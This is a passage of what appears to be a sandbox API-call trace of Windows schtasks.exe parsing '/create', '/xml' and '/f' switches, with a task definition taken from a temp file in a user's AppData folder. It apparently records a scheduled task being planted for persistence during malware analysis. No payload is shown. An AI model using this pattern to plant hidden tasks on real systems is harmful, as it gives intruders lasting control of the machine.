(dwErrCode=0x490) [0175.864] lstrlenW (lpString="change") returned 6 [0175.864] lstrlenW (lpString="change") returned 6 [0175.864] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.864] lstrlenW (lpString="xml") returned 3 [0175.864] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.864] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|change|") returned 8 [0175.864] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|xml|") returned 5 [0175.864] lstrlenW (lpString="|change|") returned 8 [0175.864] lstrlenW (lpString="|xml|") returned 5 [0175.864] StrStrIW (lpFirst="|change|", lpSrch="|xml|") returned 0x0 [0175.864] SetLastError (dwErrCode=0x490) [0175.864] lstrlenW (lpString="run") returned 3 [0175.864] lstrlenW (lpString="run") returned 3 [0175.864] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.864] lstrlenW (lpString="xml") returned 3 [0175.864] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.864] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|run|") returned 5 [0175.864] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|xml|") returned 5 [0175.864] lstrlenW (lpString="|run|") returned 5 [0175.864] lstrlenW (lpString="|xml|") returned 5 [0175.865] StrStrIW (lpFirst="|run|", lpSrch="|xml|") returned 0x0 [0175.865] SetLastError (dwErrCode=0x490) [0175.865] lstrlenW (lpString="end") returned 3 [0175.865] lstrlenW (lpString="end") returned 3 [0175.865] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.865] lstrlenW (lpString="xml") returned 3 [0175.865] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.865] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|end|") returned 5 [0175.865] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|xml|") returned 5 [0175.865] lstrlenW (lpString="|end|") returned 5 [0175.865] lstrlenW (lpString="|xml|") returned 5 [0175.865] StrStrIW (lpFirst="|end|", lpSrch="|xml|") returned 0x0 [0175.865] SetLastError (dwErrCode=0x490) [0175.865] lstrlenW (lpString="showsid") returned 7 [0175.865] lstrlenW (lpString="showsid") returned 7 [0175.865] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.865] lstrlenW (lpString="xml") returned 3 [0175.865] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.865] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0xa, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|showsid|") returned 9 [0175.865] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|xml|") returned 5 [0175.865] lstrlenW (lpString="|showsid|") returned 9 [0175.865] lstrlenW (lpString="|xml|") returned 5 [0175.865] StrStrIW (lpFirst="|showsid|", lpSrch="|xml|") returned 0x0 [0175.865] SetLastError (dwErrCode=0x490) [0175.865] SetLastError (dwErrCode=0x490) [0175.865] SetLastError (dwErrCode=0x0) [0175.865] lstrlenW (lpString="/xml") returned 4 [0175.865] StrChrIW (lpStart="/xml", wMatch=0x3a) returned 0x0 [0175.865] SetLastError (dwErrCode=0x490) [0175.865] SetLastError (dwErrCode=0x0) [0175.865] lstrlenW (lpString="/xml") returned 4 [0175.865] SetLastError (dwErrCode=0x0) [0175.865] SetLastError (dwErrCode=0x0) [0175.865] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp") returned 59 [0175.865] lstrlenW (lpString="-/") returned 2 [0175.865] StrChrIW (lpStart="-/", wMatch=0x43) returned 0x0 [0175.865] SetLastError (dwErrCode=0x490) [0175.865] SetLastError (dwErrCode=0x490) [0175.865] SetLastError (dwErrCode=0x0) [0175.865] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp") returned 59 [0175.865] StrChrIW (lpStart="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp", wMatch=0x3a) returned=":\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp" [0175.865] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp") returned 59 [0175.865] _memicmp (_Buf1=0x4e4c68, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.865] _memicmp (_Buf1=0x4e4c98, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.865] SetLastError (dwErrCode=0x7a) [0175.865] SetLastError (dwErrCode=0x0) [0175.865] SetLastError (dwErrCode=0x0) [0175.865] lstrlenW (lpString="C") returned 1 [0175.866] SetLastError (dwErrCode=0x490) [0175.866] SetLastError (dwErrCode=0x0) [0175.866] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp") returned 59 [0175.866] SetLastError (dwErrCode=0x0) [0175.867] SetLastError (dwErrCode=0x0) [0175.867] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0175.867] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0175.867] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b [0175.867] VerifyVersionInfoW (in: lpVersionInformation=0x14cd50, dwTypeMask=0x3, dwlConditionMask=0x1801b | out: lpVersionInformation=0x14cd50) returned 1 [0175.867] SetLastError (dwErrCode=0x0) [0175.867] lstrlenW (lpString="create") returned 6 [0175.867] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0175.867] SetLastError (dwErrCode=0x490) [0175.867] SetLastError (dwErrCode=0x0) [0175.867] lstrlenW (lpString="create") returned 6 [0175.867] _memicmp (_Buf1=0x4e4b18, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.867] SetLastError (dwErrCode=0x0) [0175.867] _memicmp (_Buf1=0x4e4b90, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.867] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4e59c0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\schtasks.exe" (normalized: "c:\\windows\\syswow64\\schtasks.exe")) returned 0x20 [0175.867] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0175.868] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x4e5bd0 | out: lpData=0x4e5bd0) returned 1 [0175.868] VerQueryValueW (in: pBlock=0x4e5bd0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x14ce58, puLen=0x14ce5c | out: lplpBuffer=0x14ce58*=0x4e5f6c, puLen=0x14ce5c) returned 1 [0175.868] _memicmp (_Buf1=0x4e4b90, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.868] _vsnwprintf (in: _Buffer=0x4e59c0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x14ce40 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0175.868] VerQueryValueW (in: pBlock=0x4e5bd0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x14ce68, puLen=0x14ce64 | out: lplpBuffer=0x14ce68*=0x4e5d98, puLen=0x14ce64) returned 1 [0175.868] lstrlenW (lpString="schtasks.exe") returned 12 [0175.868] lstrlenW (lpString="schtasks.exe") returned 12 [0175.868] lstrlenW (lpString=".EXE") returned 4 [0175.868] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0175.868] lstrlenW (lpString="schtasks.exe") returned 12 [0175.868] lstrlenW (lpString=".EXE") returned 4 [0175.868] lstrlenW (lpString="schtasks") returned 8 [0175.868] lstrlenW (lpString="/create") returned 7 [0175.868] _memicmp (_Buf1=0x4e4b90, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.868] _vsnwprintf (in: _Buffer=0x4e59c0, _BufferCount=0x19, _Format="%s %s", _ArgList=0x14ce40 | out: _Buffer="schtasks /create") returned 16 [0175.868] _memicmp (_Buf1=0x4e4bf0, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.868] _memicmp (_Buf1=0x4e4c08, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.868] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x4e6658, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0175.868] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0175.868] _vsnwprintf (in: _Buffer=0x4e65b0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x14ce44 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0175.868] SetLastError (dwErrCode=0x0) [0175.868] GetThreadLocale () returned 0x409 [0175.868] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.868] lstrlenW (lpString="create") returned 6 [0175.868] GetThreadLocale () returned 0x409 [0175.868] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.868] lstrlenW (lpString="?") returned 1 [0175.868] GetThreadLocale () returned 0x409 [0175.868] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.868] lstrlenW (lpString="s") returned 1 [0175.868] GetThreadLocale () returned 0x409 [0175.868] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.868] lstrlenW (lpString="u") returned 1 [0175.868] GetThreadLocale () returned 0x409 [0175.868] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.868] lstrlenW (lpString="p") returned 1 [0175.869] GetThreadLocale () returned 0x409 [0175.869] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.869] lstrlenW (lpString="ru") returned 2 [0175.869] GetThreadLocale () returned 0x409 [0175.869] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.869] lstrlenW (lpString="rp") returned 2 [0175.869] GetThreadLocale () returned 0x409 [0175.869] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.869] lstrlenW (lpString="sc") returned 2 [0175.869] GetThreadLocale () returned 0x409 [0175.869] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.869] lstrlenW (lpString="mo") returned 2 [0175.869] GetThreadLocale () returned 0x409 [0175.869] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.869] lstrlenW (lpString="d") returned 1 [0175.869] GetThreadLocale () returned 0x409 [0175.869] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.869] lstrlenW (lpString="m") returned 1 [0175.869] GetThreadLocale () returned 0x409 [0175.869] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.869] lstrlenW (lpString="i") returned 1 [0175.869] GetThreadLocale () returned 0x409 [0175.869] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.869] lstrlenW (lpString="tn") returned 2 [0175.869] GetThreadLocale () returned 0x409 [0175.869] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.869] lstrlenW (lpString="tr") returned 2 [0175.869] GetThreadLocale () returned 0x409 [0175.869] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.869] lstrlenW (lpString="st") returned 2 [0175.869] GetThreadLocale () returned 0x409 [0175.869] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.869] lstrlenW (lpString="sd") returned 2 [0175.869] GetThreadLocale () returned 0x409 [0175.869] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.869] lstrlenW (lpString="ed") returned 2 [0175.869] GetThreadLocale () returned 0x409 [0175.869] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.869] lstrlenW (lpString="it") returned 2 [0175.869] GetThreadLocale () returned 0x409 [0175.869] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.869] lstrlenW (lpString="et") returned 2 [0175.869] GetThreadLocale () returned 0x409 [0175.869] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.869] lstrlenW (lpString="k") returned 1 [0175.869] GetThreadLocale () returned 0x409 [0175.870] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.870] lstrlenW (lpString="du") returned 2 [0175.870] GetThreadLocale () returned 0x409 [0175.870] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.870] lstrlenW (lpString="ri") returned 2 [0175.870] GetThreadLocale () returned 0x409 [0175.870] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.870] lstrlenW (lpString="z") returned 1 [0175.870] GetThreadLocale () returned 0x409 [0175.870] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.870] lstrlenW (lpString="f") returned 1 [0175.870] GetThreadLocale () returned 0x409 [0175.870] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.870] lstrlenW (lpString="v1") returned 2 [0175.870] GetThreadLocale () returned 0x409 [0175.870] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.870] lstrlenW (lpString="xml") returned 3 [0175.870] GetThreadLocale () returned 0x409 [0175.870] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.870] lstrlenW (lpString="ec") returned 2 [0175.870] GetThreadLocale () returned 0x409 [0175.870] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.870] lstrlenW (lpString="rl") returned 2 [0175.870] GetThreadLocale () returned 0x409 [0175.870] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.870] lstrlenW (lpString="delay") returned 5 [0175.870] GetThreadLocale () returned 0x409 [0175.870] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.870] lstrlenW (lpString="np") returned 2 [0175.870] SetLastError (dwErrCode=0x0) [0175.870] SetLastError (dwErrCode=0x0) [0175.870] lstrlenW (lpString="/create") returned 7 [0175.870] lstrlenW (lpString="-/") returned 2 [0175.870] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0175.870] lstrlenW (lpString="create") returned 6 [0175.870] lstrlenW (lpString="create") returned 6 [0175.870] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.870] lstrlenW (lpString="create") returned 6 [0175.870] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.870] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|create|") returned 8 [0175.870] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|create|") returned 8 [0175.870] lstrlenW (lpString="|create|") returned 8 [0175.870] lstrlenW (lpString="|create|") returned 8 [0175.870] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0175.870] SetLastError (dwErrCode=0x0) [0175.870] SetLastError (dwErrCode=0x0) [0175.870] SetLastError (dwErrCode=0x0) [0175.870] lstrlenW (lpString="/f") returned 2 [0175.870] lstrlenW (lpString="-/") returned 2 [0175.870] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0175.870] lstrlenW (lpString="create") returned 6 [0175.870] lstrlenW (lpString="create") returned 6 [0175.870] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.870] lstrlenW (lpString="f") returned 1 [0175.870] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.870] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|create|") returned 8 [0175.870] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3 [0175.870] lstrlenW (lpString="|create|") returned 8 [0175.871] lstrlenW (lpString="|f|") returned 3 [0175.871] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0175.871] SetLastError (dwErrCode=0x490) [0175.871] lstrlenW (lpString="?") returned 1 [0175.871] lstrlenW (lpString="?") returned 1 [0175.871] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.871] lstrlenW (lpString="f") returned 1 [0175.871] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.871] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|?|") returned 3 [0175.871] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3 [0175.871] lstrlenW (lpString="|?|") returned 3 [0175.871] lstrlenW (lpString="|f|") returned 3 [0175.871] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0175.871] SetLastError (dwErrCode=0x490) [0175.871] lstrlenW (lpString="s") returned 1 [0175.871] lstrlenW (lpString="s") returned 1 [0175.871] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.871] lstrlenW (lpString="f") returned 1 [0175.871] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.871] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|s|") returned 3 [0175.871] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3 [0175.871] lstrlenW (lpString="|s|") returned 3 [0175.871] lstrlenW (lpString="|f|") returned 3 [0175.871] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0175.871] SetLastError (dwErrCode=0x490) [0175.871] lstrlenW (lpString="u") returned 1 [0175.871] lstrlenW (lpString="u") returned 1 [0175.871] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.871] lstrlenW (lpString="f") returned 1 [0175.871] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.871] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|u|") returned 3 [0175.871] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3 [0175.871] lstrlenW (lpString="|u|") returned 3 [0175.871] lstrlenW (lpString="|f|") returned 3 [0175.871] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0175.871] SetLastError (dwErrCode=0x490) [0175.871] lstrlenW (lpString="p") returned 1 [0175.871] lstrlenW (lpString="p") returned 1 [0175.871] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.871] lstrlenW (lpString="f") returned 1 [0175.871] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.871] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|p|") returned 3 [0175.871] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3 [0175.871] lstrlenW (lpString="|p|") returned 3 [0175.871] lstrlenW (lpString="|f|") returned 3 [0175.871] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0175.871] SetLastError (dwErrCode=0x490) [0175.871] lstrlenW (lpString="ru") returned 2 [0175.871] lstrlenW (lpString="ru") returned 2 [0175.871] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.871] lstrlenW (lpString="f") returned 1 [0175.871] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.872] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|ru|") returned 4 [0175.872] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3 [0175.872] lstrlenW (lpString="|ru|") returned 4 [0175.872] lstrlenW (lpString="|f|") returned 3 [0175.872] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0175.872] SetLastError (dwErrCode=0x490) [0175.872] lstrlenW (lpString="rp") returned 2 [0175.872] lstrlenW (lpString="rp") returned 2 [0175.872] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.872] lstrlenW (lpString="f") returned 1 [0175.872] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.872] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|rp|") returned 4 [0175.872] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3 [0175.872] lstrlenW (lpString="|rp|") returned 4 [0175.872] lstrlenW (lpString="|f|") returned 3 [0175.872] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0175.872] SetLastError (dwErrCode=0x490) [0175.872] lstrlenW (lpString="sc") returned 2 [0175.872] lstrlenW (lpString="sc") returned 2 [0175.872] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.872] lstrlenW (lpString="f") returned 1 [0175.872] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.872] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|sc|") returned 4 [0175.872] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3 [0175.872] lstrlenW (lpString="|sc|") returned 4 [0175.872] lstrlenW (lpString="|f|") returned 3 [0175.872] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0175.872] SetLastError (dwErrCode=0x490) [0175.872] lstrlenW (lpString="mo") returned 2 [0175.872] lstrlenW (lpString="mo") returned 2 [0175.872] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.872] lstrlenW (lpString="f") returned 1 [0175.872] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.872] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|mo|") returned 4 [0175.872] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3 [0175.872] lstrlenW (lpString="|mo|") returned 4 [0175.872] lstrlenW (lpString="|f|") returned 3 [0175.872] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0175.872] SetLastError (dwErrCode=0x490) [0175.872] lstrlenW (lpString="d") returned 1 [0175.872] lstrlenW (lpString="d") returned 1 [0175.872] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.872] lstrlenW (lpString="f") returned 1 [0175.872] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.872] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|d|") returned 3 [0175.872] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3 [0175.872] lstrlenW (lpString="|d|") returned 3 [0175.872] lstrlenW (lpString="|f|") returned 3 [0175.872] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0175.872] SetLastError (dwErrCode=0x490) [0175.872] lstrlenW (lpString="m") returned 1 [0175.872] lstrlenW (lpString="m") returned 1 [0175.872] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.873] lstrlenW (lpString="f") returned 1 [0175.873] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.873] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|m|") returned 3 [0175.873] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3 [0175.873] lstrlenW (lpString="|m|") returned 3 [0175.873] lstrlenW (lpString="|f|") returned 3 [0175.873] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0175.873] SetLastError (dwErrCode=0x490) [0175.873] lstrlenW (lpString="i") returned 1 [0175.873] lstrlenW (lpString="i") returned 1 [0175.873] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.873] lstrlenW (lpString="f") returned 1 [0175.873] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.873] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|i|") returned 3 [0175.873] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3 [0175.873] lstrlenW (lpString="|i|") returned 3 [0175.873] lstrlenW (lpString="|f|") returned 3 [0175.873] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0175.873] SetLastError (dwErrCode=0x490) [0175.873] lstrlenW (lpString="tn") returned 2 [0175.873] lstrlenW (lpString="tn") returned 2 [0175.873] _memicmp 